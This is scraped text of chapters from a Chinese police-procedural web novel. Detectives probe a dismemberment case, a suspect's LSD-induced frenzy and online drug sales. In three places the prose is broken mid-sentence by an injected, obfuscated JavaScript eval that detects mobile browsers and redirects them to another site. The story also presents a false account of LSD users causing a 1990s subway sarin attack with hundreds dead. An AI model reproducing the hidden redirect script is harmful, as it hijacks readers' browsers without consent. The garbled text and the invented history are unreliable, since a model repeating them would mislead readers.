宋柏忍无可忍,如果不在车上,把这医生踹下去的心都有:“谁和他成双了?!” 4. 第四章 章宁市长宁刑侦支队办公楼。 “已经基本问情当日情况,在现场发现的凶器、分/尸工具上的指纹与嫌疑人指纹吻合,口供和我们掌握的目击者证词、监控录像一致,余大队他们的推断是对的,洪二发是酒后与岳小伟发生口角,争执时拿起桌上的水果刀,想要吓唬吓唬对方,没想到失手捅死了岳小伟……” 宋柏换了身衣服,大步流星进入办公室。身后仲夏刚刚拿到讯问笔录,递上前来,简单说明目前掌握的情况。 江桢跟在宋柏身边,听到这里“嗯?”了一声。他穿着从医院借来的黑短袖黑裤子,头发刚刚洗过,吹得半干,微微打卷。一身常服让他看起来像个来公安局找人的学生。 宋柏问:“怎么了?” “岳小伟的死因是外伤性心脏破裂,之后出现的心包填塞令他心脏骤停,当场死亡。这失手也太巧了,和削苹果时因为船颠簸不小心摔倒扎破心脏的那个故事一样,像死神来了。” 仲夏迟疑了一下,说:“去年除夕的时候,有个人喝酒喝多了,在饭桌上摔杯子,被杯子碎片割了手。一开始大家都没在意,后来血越流越多才送到医院,可惜人已经不行了——杯子碎片正好割破了他的腕动脉。从现场的空酒瓶看,洪二发和岳小伟喝了不少酒,会发生这种情况,也有可能。” 江桢翻出案发现场的照片。寿衣店内有明显的打斗痕迹,各种纸扎散落一地。当时岳小伟的尸体就横陈在这些纸扎之上,致命伤并没有令他出血太多,是之后洪二发近乎疯狂的分/尸行为让寿衣店变得一片狼籍,地上全是他踩出的血脚印,纸扎之间甚至还有带皮的碎肉。 江桢问:“洪二发在讯问室表现怎么样?” 仲夏说:“很配合,一提起岳小伟就哭,说自己真的没想杀人,是酒后吹牛,不知怎么就吵了起来,他只是顺手拿起桌上的水果刀,没想到岳小伟和他抢了起来,争抢过程中不小心把人捅死了。” 江桢说:“我看了漕桥派/出所对洪二发熟人的走访询问笔录,大家普遍反应洪二发这个人木讷老实,甚至有点呆,完全不像有胆子杀人的人。结合他配合警察讯问来看,确实可能只是一场意外,可问题是他还做了两件让人想不通的事情……” 宋柏适时插话:“拘捕袭警、分/尸。” 他压着眉,提到袭警两字时面色不善,声音冷硬:“过失致人死亡,轻判是三年以下,故意杀人则另当别论。如果他真是失手,发现岳小伟死亡之后报警自首,配合调查,刑期不会比分/尸、拘捕更长,他何必弄得那么复杂?就算洪二发作为社会底层人员不懂法,从行为逻辑上看,一个老实人失手杀人,过后即使想要处理尸体脱罪,也绝对不会采用分/尸这么极端的手段,把场面弄得那么血腥。案发现场的样子不像分/尸失败,倒像是故意损毁尸体。拘捕跳桥、用刀砍伤江桢,这都说明他是一个狠辣的亡命之徒。” “事后配合良好并不能说明什么。分/尸的主观恶性极高,单是这一条就可以以故意杀人起诉他了。无论如何,洪二发杀害岳小伟并分/尸是板上钉钉的事实,下午和我提人指认现场,怎么判他是检察院的事。” 说到这里,他的声音戛然而止。口袋里的手机震动发出嗡鸣,他点亮屏幕看了看来电显示,冷厉的神色消退大半,按下接听键时的表情竟然有点紧张。 他“喂”了一声,随后钻进他的支队长办公室,关上了门。 电话那头不知是何方神圣,即使中间隔了一道门,站在外面,还是能够听到那头狂风暴雨,是个女人。 仲夏趴在玻璃门门口,向内望去,八卦之魂熊熊燃烧:“那是谁啊?谁敢这么大声对宋队说话?” 江桢摇头,示意自己也不清楚,凑上前去,轻轻把门拉开一个小缝,对仲夏招了招手。两人一上一下,紧紧贴在门口,竖起耳朵,听着里面的动静。 只消片刻,仲夏的表情便凝重了起来:“来者不善啊。” “嗯。”江桢深以为然,重重点头,显然也很少见到宋柏如此吃瘪,“他都只挨骂不出声。” 借着那条小缝,只看见宋柏在窗前走来走去,手上似是局促,一会儿拉开百叶窗帘,一会儿又把窗帘合上。他时而“我知道”“不是你说的那样”,时而“嗯嗯”“你放心”,俨然一副服服帖帖的样子。 嗯嗯? 这世界上还有人能让宋柏如此温柔地回复“嗯嗯”?! “不会是宋队他……爱人吧?”仲夏心里嘀咕,难道作风凌厉的支队长其实是个妻管严? 谁知道江桢立刻:“不会。” 半晌,又在女警员狐疑的目光中解释道:“作为宋柏发小,他结没结婚我还是知道的。” “那也说不准,你不是一直在外地吗?万一他们没结婚呢,万一是地下恋情呢?”仲夏脑补到。 “他给你们留下的印象是会搞地下恋情那种人吗?”江桢有点惊讶,“以我对宋柏的了解,他是喜欢什么就恨不得捧出来让所有人都知道的那种人。” 不仅是恋爱。宋柏对任何人和事的偏心都堂堂正正,明目张胆。 江桢小时候在宋柏身边长大,最知道他这脾性。 宋家两个孩子,宋柏下面有个妹妹宋杳。宋柏是哥哥,严格良好的家庭教育让他时刻恪守保护他人的准则,对待小一些的宋杳和江桢,他的体贴和无微不至甚至到了霸道的程度。 从小学到中学,每一个放学回家时恰好在江桢身边的同学,都知道他有个哥哥叫宋柏。因为宋柏会不厌其烦地自我介绍,警告他们不许欺负江桢。 宋柏听着电话的侧影在江桢的视线中晃动,恍惚回到很多年之前。 年轻一些的宋柏在幽暗的中学走廊中扬起眉梢,用干净的卫衣袖子擦去他脸上手上的血污,那双总是温暖的、对少年的江桢而言稍大的手,替他整理凌乱的衣领,而后握住他的手腕,拉着他走进老师的办公室。 看着四个被揍得鼻青脸肿的高年级学生,面对怒气冲冲的四个家长,气势汹汹的老师和级长甚至校长,刚过十八岁,不过才走出中学半年的宋柏说的第一句话竟然是:“身手不错。” 江桢才经过混乱的斗殴,脑袋仍是一片空白。宋柏俯身,搂住他的肩膀,被微高的体温蒸出的肥皂味撞入江桢的鼻腔。 宋柏说:“身手那么好,为什么还任他们欺负你一年多?” 说完宋柏又掏出钱包,里面竟然是百元的现金钞票,当着一群大人的面,宋柏把钱分成四份,拿给四个欺负人的大孩子。 没有人接,宋柏问:“拿着啊,你们欺负江桢,撕他的东西,踩他的衣服,打他,不是为了找他要钱?” 然后宋柏把江桢往身后一拽:“很显然这是校园霸凌,我已经报警了。这几个小孩儿已经过14岁了吧?很好,那警察也可以立案了。你们以为警察会和稀泥?检察院的未成年人检察工作室刚刚成立,正愁没有典型可抓,现在社会上严打这个,你们上网就应该知道。” 那之后对方说了什么,事情是如何解决的,他们四个是怎么一个一个过来,在宋柏的注视下道歉的,江桢都不太记得了。 他只记得当那些人的怒火和秽语倾泻过来,宋柏一直把他护在身后,他的脸贴着宋柏的背,仿佛那是世界上唯一不可撼动之物。 想到这里,他嘴角噙出一丝自己都没有察觉的笑意。 仲夏偏过头,看他眼睛发直表情诡异,不由得伸手在他眼前挥了挥:“哎。” 江桢没反应。 “哎!”仲夏急了,然而还没等她开口提醒,宋柏已经走到门前,哗一拉门—— 两个挂在门把手上的人直接被拉得一个趔趄,都掉进了支队长办公室里。 江桢肩上有伤,被这么冷不丁扯了一把,疼得哎呦一声。 宋柏对着他俩,面无表情:“偷听?” 仲夏忙扶起江桢,嘿嘿摸了两下鼻子,强行挽尊道:“我们这不是关心您嘛……这人听起来好大的派头,是……谁啊?” 江桢也投去好奇的目光。 在这俩人好奇宝宝般的注视下,宋柏握着手机,上前扶住江桢的手臂,把他带到自己的支队长办公室里,往那张看起来就比其他椅子舒适百倍的办公椅里一按。 江桢:“?” 宋柏抬手摁了摁眉心:“我妈说——” 宋柏,你真的很让人民群众失望。人民把弟弟托付到你手里,你呢?你把你弟弟踹进长宁河!!!我正在家里炖鸡汤,如果小桢今晚没回来吃饭,这两天休息不好被你搞得伤口恶化,这周末你回家的时候,我就解下腰间的皮带,大吼一声,然后操起皮带一记把你抽翻在地,如陀螺般旋转!!! “让您这个伤号不要和我们这些老粗吃垃圾食品,按时睡觉,补充营养,她已经让宋杳给您点了外卖,马上就到,我下去给您拿,您先坐。” 宋柏面无表情地自动省略了中间那些没营养的对话和他自己无力而苍白的解释。 也不怪郑曼冬女士——宋柏那比他自己还要雷厉风行一千倍的慈母,如此关注江桢的健康问题。 江桢不是他师父江起山的亲生儿子。 江起山和纪慧竹夫妻年轻时一门心思扑在工作上,后来求子不顺,四十多岁才领养了江桢。 江桢当时六岁多,在外省福/利院。据说是家里横遭变故,成了孤儿。不知具体是什么变故,但一定给当时还小的江桢留下了心理阴影,而且在一定程度上影响到了他的身体健康。他被江起山接回家的时候瘦得像豆芽菜,同龄的宋杳都比他高半个头。 他多病、听话,怯弱的样子简直戳中了郑女士最软的心窝窝。那之后宋、江两家的妈妈换着法子养江桢的身体,他小时候不是肺炎发烧就是过敏起疹子,这种体质还能苟过警校的体能线,绝对是郑女士每周三次不同花样的食补汤起了效果。 “行了,都先吃饭,吃完饭我和江桢去把戴奇和杨繁换下来。”宋柏吐/出一口气,仿佛刚从慈母那劈头盖脸的亲切关怀中缓过神来。 仲夏说:“外卖?我也点了外卖,要不要一起拿上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338585|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “不用了。”宋柏已经起身,“以我对我妈的了解,她大概率只点了一份,我去楼下打包一份炒饼。” 他拉开门,险些和一个正要进办公室的实习警察撞到一起。 “小心点,跑什么?” “宋队!”实习警察明显刚从楼下奔上来,气喘吁吁,一脸惊疑地拉住宋柏,“嫌疑人不对劲,戴副请您赶紧下去看看!” 办公室里的两人闻言跟着起身,江桢只觉得心里那种怪异的、不好的预感终于应验了似的,忙问:“怎么不对劲?” 实习警察停顿了一下,显然是在寻找合适的措辞,片刻之后他放弃思考,直白道:“嫌疑人……发疯了。” . “这里有鬼,有鬼,鬼来了!鬼来杀你了!” 四人一行刚下了楼梯,转入楼道,就听到了洪二发近乎癫狂的狂吼。 讯问室前一阵骚乱,几个警员站在门口,像是怕什么东西从里面跑出来一样,紧紧盯着单面玻璃。 “让一下让一下,宋队来了!”实习警员拨开前面几人,讯问室的门竟然敞开着,宋柏皱了皱眉,往里一看—— 洪二发满头满脸的血,额头青紫一片,整个人像一条脱水上岸的鱼一样在座位里挣/扎。 他的手和桌面拷在一起,桌子又钉死在地上,饶是如此结实的桌椅,竟然在他拼命之下铿铿作响。那双被铐住的手腕扭到不自然的角度,不知道是脱臼还是骨折,而他本人不知疼痛一般歇斯底里地吼叫着,血红的双目凸/起,仿佛下一秒就会掉出眼眶。 戴奇抓着洪二发一侧肩膀,却分毫阻止不了对方这种疯狂的自残行为。杨繁站在一旁,似乎已经看呆了。 “洪二发!”宋柏扬声呵斥。 他的声音似乎唤回了洪二发些许神智,但对方也只是顿了一瞬,然后仰起头,重重向桌面扑去。 咚! 顿时他撞得头破血流,原来这一脸的伤都是他自己撞出来的!血从鼻梁根/部的新鲜伤口涌出,洪二发竟伸出舌头接住,似是品尝味道。 宋柏拉开戴奇,在洪二发再次发作自残前用手捞住那张已经肿/胀甚至撞到变形的脸,洪二发埋在他的手心里嘎嘎怪笑两声,肥厚的嘴唇一张,居然死死咬住了宋柏的虎口! 瞬间警员们如一锅沸水炸开,戴奇和杨繁立刻上手试图把洪二发拉开,有人大叫着让法医下来,宋柏吃痛收手,洪二发的牙已像尖利的钩子一样没入他的皮肉,拼着牙齿被撬掉、敲碎的力道也不松口。也就是几秒钟的事情,热血顺着宋柏的手指直往下淌,洪二发疯狗一样摆头,那血甚至被甩到了他的脸上。 仲夏从警没有几年,从未见过如此骇人的场景,不由得后退两步,混乱中不知踩到了谁的脚面,踉跄了一下,被后面的人按住肩膀扶稳了。 她惊骇地抬起眼,江桢松开她的肩,径直走到乱作一团的桌椅边,一下就推开戴奇,伸手便抓洪二发额头处的头发。 他力气极大,洪二发蓬乱的短发统统被拉得绷直,那颗脑袋就像一个塑料袋一样被他强行拎了起来。 然后江桢按着洪二发的额头,狠狠往对方背后的墙上撞去。 ——嘭! 重重一声闷响,仲夏甚至怀疑自己还听到了骨头碎裂的声音。江桢拎着洪二发的脑袋,就这么以要人命的力道猛砸了几下,长宁分局还是老装修,部分讯问室又小又老,都还没做软包处理,墙上的旧漆面在猛烈的外力撞击下裂开,扑簌簌直往下掉。 还是戴奇先从震惊中反应过来,一把拉住江桢:“可以了可以了,松口了,他松口了,这儿有监控!” 几个人跟着反应过来,纷纷上前七手八脚地把洪二发、江桢、宋柏三人拉开。 那一口咬得极深,人虎口处的皮肉又薄,伤口周围被咬出了一/大圈淤血。仲夏反应过来,找了瓶矿泉水拧开就冲,宋柏顾不上自己的虎口,抬头喝到:“江桢!” 洪二发似是被撞晕了,半睁着眼,一动不动,歪在座位里。 江桢没有回答。 他还被两个实习警察拉着胳膊,手上沾着不知是谁的血,下颌绷紧,死死盯着眼前这场闹剧,那样子就像受惊的动物,唰地炸了毛,随时准备继续暴起伤人或拔腿逃跑。 白炽灯照得他的眼睛越发黑白分明,看着格外瘆人,戴奇惊魂甫定地望着江桢,宋柏那句话仿佛就在耳边:“他完全不是……” 他就是个狼崽子。 隔着几个人,江桢的目光落在宋柏身上。他张了张嘴,这是个想要解释的动作,但最终什么都没说。 “这是正当防卫,都看见了,是嫌疑人先咬了宋队。”戴奇沉声,吩咐最近的一个警员,“去把法医叫来,看看洪二发,我打电话给合作医院,让他们来……” “戴副。”杨繁打断他,尾音发着颤。 “你又怎么了?”戴奇皱眉扭头。 只见杨繁蹲在毫无声息的洪二发身前,脸色苍白,语气似是难以相信:“……嫌疑人的瞳孔散了。” 5. 第五章 这句话如当头一泼冷水,浇得江桢的脸顿时变得惨白。 “什?!”戴奇看向瘫在椅子里的洪二发,后者垂落在身边的手指难以自控地哆嗦抽搐,胸膛急促起伏,布满血丝的眼球中/央,瞳孔如泅水的墨点散开。 这太不寻常了,虽然刚刚那两下正对后脑的撞击看起来用了十成力气,可也没到当场把人撞死的程度,洪二发从那么高的桥上跳进水里、被枪托直接砸中额头都只是脑震荡而已! 宋柏沉默着两步上前,掏出手机,对准洪二发的眼睛,打开手电就照,同时另一手按住洪二发颈侧试探脉搏。强光之下的瞳孔紧缩,宋柏的手机移开之后,又逐渐回到散大的状态。 “心率加快,呼吸急促,瞳孔对光反射基本正常,躯体震颤,放心,他不是快要死了,更像是……”宋柏声音镇定,那声“放心”刻意咬重,像是想要安慰在场的某人。 “某种药物中毒。” 话一落音,所有人都松了口气。 “合作医院的车来了!”站在外面的一个实习警察叫到。 “把洪二发带走,其余人各回各岗,和老余打声招呼,告诉他下午不能去指认现场了,这桩案子还有蹊跷。”宋柏走出讯问室,被叫来的法医迎上来,想要替他处理虎口处的伤口。他摇头示意不用。 宋柏向屋内看了一眼,江桢还站在原地,像被钉死,一动不动。从这个角度看过去,一道从额头划下直淌到下巴处的冷汗格外明显。 他好像被吓到了,不知是被自己出格的举动,还是脑海深处某一块与今日场景相似的碎片。 “江桢。”宋柏冲人招招手,后者一抬头,眼中一丝惊惶一闪而过。江桢走过来,站定在宋柏身边,宋柏听到他呼吸中压着点颤/抖的气流声。 宋柏问法医:“有纸巾吗?” “哦哦,有。”法医递来一整包。 几名值班警察正帮着医生给洪二发上约束带,把人往救护车上抬;戴奇带着杨繁和仲夏收拾讯问室的一片狼籍,众人没有注意到的地方,宋柏握住了江桢的手腕。那只手的主人一颤,下意识地想要挣脱,无奈宋柏钳着他的手,迫使他摊开手来。 左手手心上有点血迹,是抓着洪二发的头发时蹭上的。宋柏展开纸巾,用力、细致地把江桢的手擦干净。江桢一愣,表情有些错愕。 “和我去医院,晚点再和你算账。”宋柏声音听不出喜怒,收起脏纸巾,示意他赶紧跟上。 . “□□二乙基酰胺。” 急诊医生把洪二发的尿检结果拿给宋柏和江桢两人看。 长宁中心医院新区,办公室内只有他们三人,是个很适合谈话的地方。这家医院素来和长宁分局有合作关系,新区更是只和分局办公大楼隔了一条街,因此局里有什么紧急情况,基本都是长宁中心医院接收处理。 洪二发这次也不例外,急诊医生在救护车上对他进行了基础检查之后,得出了与宋柏一样的结论:反常的冲动、暴躁甚至自残,很可能是接触某种药物导致的。 外伤只是看着吓人,并不会威胁生命,但从目前的躯体反应和警员们的描述来看,洪二发有死于药物过量的危险,所以快速处理完外伤之后,中心医院的医生立刻用院内的试剂盒给洪二发做了尿检,以确定他到底摄入了什么药物。 “l……sd,”江桢念着检测试剂盒上的字母,“这是什么?” “麦角/酸二/乙基/酰胺的简称,你们有没有听说过‘邮票’?”急诊医生掏出手机检索,很快屏幕上就出现了一列照片,照片上的小纸片设计得花花绿绿,乍看之下确实很像某种邮票。 宋柏微微皱眉,这是他在思考时的下意识动作:“这是一种半人工强效致幻剂,无色无味无嗅,就像清澈的水,只需要把它滴在吸水纸上,再把纸贴在舌头上含服,就能获得比吸食其他毒/品强烈数倍的体验……这东西两年前禁/毒支队曾经缴过。” 医生点头道:“宋队说得没错,l/s/d药性极强,只需要指甲盖大小的一片就能使人出现强烈的幻觉。” “所以……洪二发吸/毒?”江桢的脸色也凝重起来。 章宁市治安良好,他之前在派/出所一年,也只是听前辈说起曾经抓到过ktv里磕摇/头/丸的。虽然还不了解这种致幻剂,但洪二发服食之后的疯狂行为他才刚领教过,手心不由得出了些冷汗。他从分局出来之后一路都没说话,宋柏偏头看了他一眼,见他已经恢复如常,心里下意识提着的那口气才松了下来。 “没错。尿检窗口期是一到三天,病人短期内一定接触过这种致幻剂。但这东西几乎没人长期使用,因为它有随机性,一般情况下,服食者会经历舒适的人格解体,但也有产生噩梦般的幻觉的情况,会造成严重的精神混乱,用过量还会瘫痪。可以说,和其他毒/品相比,它相当危险,而且贵,少见。” 宋柏和江桢沉默着交换了一个眼神。漕桥派/出所走访调查得知,洪二发平时靠帮零工为生,哪儿有短期盖房装修的活他就去哪儿,帮着和水泥或者开荒打扫新房。说直白点就是个无业游民,不可能有钱支持他频繁吸食价格昂贵的“邮票”。 “等一下,”江桢忽然想到哪里不对,“洪二发的暴力自/残行为好像和常见的毒/瘾发作不太一样?” 医生露出了一个孺子可教的表情:“因为那不是毒/瘾发作,而是l/s/d服食者身上会出现的一种特殊现象‘反刍’。 “简单来说,就是服食者不再使用这种药物的时候,也会有服用这种药物的感觉,这在瘾/君/子中被称为‘另一趟旅程’。但这种情况出现的时间不固定,我猜你们打急救电话的时候,病人应该正在‘反刍’。我们也是通过这点判断他接触的是l/s/d。” 江桢又问:“那……吸食这种东西,可能会杀/人吗?” “杀/人?”医生哈哈一笑,正色道,“l/s/d的发明人曾经无意中尝到了自己合成的化学品,之后他思维紊乱,胡言乱语,认为自己家里所有的东西都是世界上最可怕的怪物,他被吓得差点疯掉。你说服食者会杀/人吗?” 穿寿衣、戴寿帽,手持引魂幡和剔骨刀在雨夜逃跑,这些毫无逻辑的行为,都有可能是在l/s/d影响下精神紊乱导致的。甚至在杀人分/尸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋柏抬手按住他露出衣领的那段后颈,像拎小动物一样把他拎得往后退了两步。江桢这才疑惑地抬头。宋柏身高直逼一米九,这个身高差,他看宋柏只能仰头。他眼睛天生有点垂,从宋柏的角度看,更显的格外无辜。 “只有口头算什么关心,明天帮队长换药。还有,什么‘我们派/出所’?你人事手续办完了吧,办完了以后就是刑侦的人。”宋柏说完这才满意,手一松把他放了。 “那讯问室那件事……” “再一再二不再三。” 江桢琢磨了一下,好像也觉得这桩交易还算划算,点头说:“行吧。” 两人走到街对面停着的警用红旗前,江桢习惯性坐后排,手才碰到车门,被宋柏从身后按住了。 “但是我提醒你,你已经二十六岁不是十六岁了,别还像小孩儿那样草木皆兵,随时准备举起刀尖对付一切。谁教你动不动就斗狠动手?”这个姿势让他们俩挨得极近,几乎是一前一后地贴在一起,江桢都能感觉到宋柏说话时扑在自己脖颈上的气流。“你在警校待了六年,应该知道规则是用来保护我们自己的,我向你保证,在长宁分局,你会很安全。” 十六岁,对江桢而言应该是一个敏感的词汇。宋柏观察着江桢的反应,他还是很放松,没有像洪二发暴起时表现得那样过激,仿佛已经很适应对旧事话里话外的试探,只是因为离得太近,身体有些僵硬。 江桢说:“知道了。” 宋柏于是把他往前一搡:“开车去,我要打个电话。” 6. 第六章 宋柏这通电话打给禁\毒支队副支卫洲,让他抽空和刑侦就发现七一四案凶手涉\毒一事开案情会。 等他们回到分局,卫洲已经在办公室等他们了。 最近章宁市正在争评全省禁\毒工作先进市,作为禁\毒支队的得力干将,卫洲外要雷霆行动打毒\贩缴毒\品,内要组织禁\毒师资培训,写宣传标语,还得抽空关怀关怀已经抓进矫治所——最近新改了名字叫关爱中心——的吸\毒人员,日理万机身心俱疲,浑身上下一股被腌透了的社畜味,脸上写着“我有的是力气和手段来热爱工作”,眼睛下面两个大眼袋,往宋柏那张舒适的办公椅里一坐,下一刻就快要睡着了。 “哎,哎哎。”见到宋柏两人回来,戴奇先是不动声色地把江桢上下打量了一圈,确定没什么事了,一副已经被宋支队爱的教育过的服帖样子,然后放心大胆地走进支队长办公室,屈指敲敲桌子,把抱着一摞案卷打瞌睡的卫副支弄醒。 “干嘛?”卫洲打了个巨大的哈欠,含糊地不打自招道,“我没睡着我只是闭目养神!” 宋柏两手各拎五杯黑咖啡,已经给队里人都发了一圈,还剩最后一杯热的,贴心地递给了缺觉的卫副支队。 卫洲打开盖,一股浓浓的苦香直冲天灵盖,闻得他一脸嫌弃,目光在屋里所有人的手上逡巡一圈,最后盯住了正在喝冰淇淋奶绿的江桢。 卫洲:“!” 江桢:“?” 卫洲指着江桢手里已经下去一半的大杯全糖奶绿,问:“凭什么这个只有一杯?我也要喝这个。” “小孩儿喝的东西。”宋柏毫不客气地对着卫洲的小肚子扬扬下巴,“你也是小孩儿?” 卫洲下意识一吸肚子,仔细打量江桢,脸上的不忿变成疑惑,疑惑变成惊讶,思考片刻之后,惊讶又变成了震惊。 江桢看着他脸一阵红一阵白,想起接下来肯定少不了要请禁\毒支队帮忙,吸管也不叼了,撕开奶绿的塑封说:“还有一半,那个您要是不嫌弃的话我这就找个杯子……” “你是谁?”卫洲直愣愣地问。 “啊?”江桢没反应过来。 “我从来没见过宋柏管别人叫小孩儿,就算是她——”卫洲一把拉过仲夏,“刚出警校的时候只有21岁,青春年少,貌美如花,宋柏都没有管她叫过小孩儿,而是……” 说到这儿他有点犹豫,还是杨繁一脸深沉地补充道:“而是每次在外借我和仲夏的时候都说,这是小杨和小夏,我们外勤组最好用最年轻的警察,可以当驴使。” “正是如此。”卫洲点头。 仲夏挣脱卫洲的双手,把江桢往前一推,隆重介绍:“这是我们的新人江桢,宋队的邻居,和我们宋队青梅竹马,两小无猜。” 卫洲那洞察人性幽微一流的眼睛眨也不眨:“哦,原来是童养……” 啪一下他的肩膀被宋柏摁住,一线警察对危险敏锐的感知能力在这个最后一个字还没说出口的紧要关头救了他,他哈哈干笑两声,硬是改了口:“原来是从小养大的兵啊!” “有完没完?”宋柏翻开他带来的旧案卷,示意其他人都坐,“他咖啡因过敏,你也过敏?” 卫洲捂脸,愣是把嘴里那句“那倒没有,但我对在场别的东西过敏”给咽下去了。 宋柏迅速把两年前禁\毒支队缴获新型毒\品“邮票”的案卷浏览一遍,然后分给其他人看。卫洲这边恰好也看完了七一四杀人分\尸案的所有材料,不自觉地轻轻“啧”了一声。 吸\毒后杀人,并被目击,比毒\驾的性质还要恶劣,更棘手的是,现在当事人一个疯了,一个死了,毒\品源头无从查起。 宋柏说:“吸\毒者绝对不会在吸食毒\品之后出去串门,结合案情,我们高度怀疑洪二发是在岳小伟家中使用了‘邮票’,岳小伟涉\毒的可能性很大。现在就是不知道岳小伟究竟就是毒\品的提供者,还是和洪二发共同吸\毒的瘾\君\子。回来路上已经安排法医对岳小伟尸体进行血检,两个外勤组复勘洪二发、岳小伟家,进一步梳理这两个人的社会关系,看有没有锁定毒\品来源的可能。” 卫洲点点头:“还要查这两个人的往来通讯、转账记录、银行流水,最重要的是上网记录。” 江桢反应很快:“网购?” “bingo!”卫洲比了个拇指,清清嗓子想找水喝,无奈手边只有那杯热美式,百般纠结之下,还是拿起来喝了一口,苦得直咧嘴:“‘邮票’在国内还算是新型毒\品,但在国外已经流行过一轮被禁了。目前国内比较有名的几个发现这东西的案例,包括两年前我们章宁市这起,流入途径都是网购,源头都在境外。” “这东西的照片你们也看过,做得花里胡哨,图案可以说是……漂亮,就为了吸引年轻人。现在网络十分发达,境外购物对年轻人而言很方便,加上l\s\d只需要滴在很小的纸片上含服,隐匿性很高,通过跨境包裹堂而皇之地寄到国内的有的是。” 杨繁说:“可是……这两个人都是中年人,而且是底层人员,学会跨境购物的可能比较低吧?” “不不不,”卫洲摇晃着食指,“放在咱们这儿叫跨境购物,实际上人家可能只是扫了小广告,加了微信,说想买点‘犀\牛\液’‘听话\水’,付了钱坐等收货就成了。” “犀\牛\液”——壮\阳药,“听话\水”——迷\情剂,除此之外还有“奶茶”“巧克力”“跳跳糖”,这些危险的东西被绞尽脑汁地包装成无害的样子,流传在城市的各个角落。 卫洲正色道:“这些东西就像蟑螂,你们看不见它,实际上很多;你们看见了一只,那附近就有一窝。全省禁\毒会议刚刚开完,这个节骨眼上我们不能出问题,速战速决,我去和康局说,禁\毒支队会全力配合。 “先照你们的思路去查。注意啊,‘邮票’只是l\s\d最常出现的一种形式,它还可以被伪装成别的东西。所以现在有两种可能:洪二发知道这是毒\品并吸食;第二,他在不知情的情况下误食了混入药物的东西。这就要看他本人有没有吸\毒\史了。” 宋柏抖抖手上的旧案卷问:“两年前那次你们是怎么得知‘邮票’流入章宁的?” “海关缉私移交的线索,说长宁辖区有个快递可能夹带走\私物品,我们上门去查,发现是一盒饼干。” 杨繁问:“毒\品混在饼干里?” “不,伪装成了饼干盒里的干燥剂。” “艹,这怎么能发现啊?!”杨繁烦躁地抓了抓后脑勺的头发。 卫洲显然是这方面的专家,微微一笑,用普及知识的口吻道:“埃尔利希试剂,和微量l\s\d混合会变成蓝紫色,初步筛查很好用。” “……还真是道高一尺魔高一丈。” 江桢一直弯腰趴在自己膝盖上,咬着吸管在新领的工作笔记本上吭吭写,宋柏打眼一看,只见上面乱七八糟地写着: “邮票,l\s\d,跨境购物,埃尔利希 “主动吸食?误食? “可伪装成干燥剂,奶茶,跳跳糖 “魔高……” 后面骤然停住了。 “……”宋柏看过去的目光顿时闪过一丝揶揄,语气又透着罕见的温和,“行了好学生,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338587|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在很少用笔记本了,有什么不懂的直接找你卫副支队问。别老用手,肩上有伤。” 卫洲唰一下站起来了:“没什么事我就走了。” 其他所有人:“?” 宋柏说:“关于两年前那个案子,我还有事没问清楚。” 江桢说:“卫队,您能再多讲讲吗,我之前在派\出所不知道这些。” 纯得比真金还纯的直男卫洲,抓起热美式吨吨喝了几口,艰难地说:“案卷里写得很清楚,两年前抓的人在秦城区新安矫治所,有需要随时提会面申请。” 说完又指江桢:“你,有事多请教你们宋队,他懂得比我多。” “最后一个问题,”宋柏也跟着起身,“确定这两年章宁市都没有找到过这种致幻剂了?” 卫洲说:“上一次清缴之后就再也没发现过。但就像我刚刚说的,我们看不见蟑螂,并不代表蟑螂不存在。” 说完他就离开这个气氛粉红的是非之地,和支队长、局长康永平汇报工作去了。 众人整理手上的案卷、资料:两年前,海关缉私移交线索至长宁分局,说明辖区内有一件包裹疑似含走\私物品,民警搜查发现伪装成干燥剂的致\幻药品l\s\d之后上报至禁\毒支队,双方配合成功抓捕网购l\s\d的嫌疑人,大学生张政。 张政玩乐队,据他自己说,传闻摇滚史上的知名专辑《Revolver》创作于l\s\d药物作用的催动下,披头士乐队都在靠这玩意儿搞创作,他高低要试试,所以网购了一些自己使用。 经调查这不是他第一次购入l\s\d,这个不知天高地厚的蠢货把之前买到的药品和自己乐队里的成员分了,后面一直开高价转卖给他们,聊天记录齐全,这几个学生被禁\毒支队顺藤摸瓜一锅端了。 好在这几个人还没到胆大包天的程度,购买来的药品没有继续外流,张政以贩\卖毒\品罪判了,现在还在新安矫治所劳动改造,其他两人拘了十几天,名字登记在吸\毒人员数据库内,放了。 随便找一个浏览器,敲入“l\s\d”作为关键词,随着比卫洲所说更为详细的药品发展史出现的还有这种药物可怖的副作用。上世纪90年代,国外两名男子在服用大量l\s\d后在早高峰地铁里释放了超过900毫升的神经毒\剂\沙\林,数百名乘客因此丧生;另有十几岁的中学生,食用被包装成糖果的l\s\d之后认为自己能飞,从阳台跃下身亡——和第一件事相比,这件事比较常见。 每一条新闻页面仿佛都弥漫着浓重的血腥气,而这些委婉处理却仍令人心惊的官方描述只是l\s\d副作用的冰山一角。 杨繁感叹到:“持有这么危险的东西,居然只判了不到十年。” 